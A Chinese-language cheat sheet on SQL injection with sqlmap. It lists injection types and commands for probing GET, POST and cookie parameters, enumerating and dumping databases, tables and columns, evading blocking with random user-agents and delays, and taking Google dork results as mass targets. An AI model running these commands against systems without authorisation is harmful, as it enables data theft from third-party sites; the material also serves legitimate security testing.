SQL 注入 探测到底是不是通过拼接字符串方式使用 SQL sqlmap 分析数据库和表名、dump 表数据 sqlmap 介绍 目前做 SQL 注入的工具一般大家都是选择:sqlmap (opens new window) 目前(2018年08月)只支持:2.6.x 和 2.7.x 支持的 5 种注入类型:
基于布尔的盲注,即可以根据返回页面判断条件真假的注入。 基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。 联合查询注入,可以使用union的情况下的注入。 堆查询注入,可以同时执行多条语句的执行时的注入。 sqlmap 使用 sqlmap 的输出信息按从简到繁共分为7个级别,依次为 0 ~ 6,级别越高,检测越全面。分别代表:
使用参数 -v <级别> 来指定某个等级,默认输出级别为 1 将 Google 搜索前一百个结果作为攻击目标:sqlmap -g "inurl:\".asp?id=1\"" 检查注入点(GET):sqlmap -u 目标网址 检查注入点(POST 数据,多个数据用分号隔开):sqlmap -u 目标网址 --data="id=0;name=werner" --param-del=";" 检查注入点(Cookie,等级必须是 2 以上):sqlmap -u 目标网址 --cookie –level 2 "JSESSIONID=123456;NAME=youmeek;" --cookie-del=";" 获取所有数据库信息:sqlmap -u 目标网址 --dbs 获取所有数据库用户:sqlmap -u 目标网址 --users 获取当前数据库信息:sqlmap -u 目标网址 --current-db 获取当前用户:sqlmap -u 目标网址 --current-user 获取当前数据库和当前用户:sqlmap -u 目标网址 --current-db --current-user 获取有几张表:sqlmap -u 目标网址 --tables 获取指定表的字段有哪些:sqlmap -u 目标网址 -T 表名 --columns 获取指定表字段值:sqlmap -u 目标网址 -T 表名 -C 字段名1,字段名2,字段名3 --dump 获取指定表字段所有值:sqlmap -u 目标网址 -T 表名 -C 字段名1,字段名2,字段名3 --dump-all 让 HTTP 请求之间添加延迟,添加参数:--delay 3,单位是秒 设置超时时间,默认是 30 秒,添加参数:--timeout 50,单位是秒 设置超时后最大重试次数,默认是 3 次,添加参数:--retries 5 避免错误请求过多而被屏蔽: 其他常用参数:
构造随机 user-agent:–random-agent 指定 HTTP Referer头:–referer=设定值 换行分开,加入其他的HTTP头:–headers=设定值 忽略响应的 Set–Cookie 头信息:–drop-set-cookie 分析登录后台入口 资料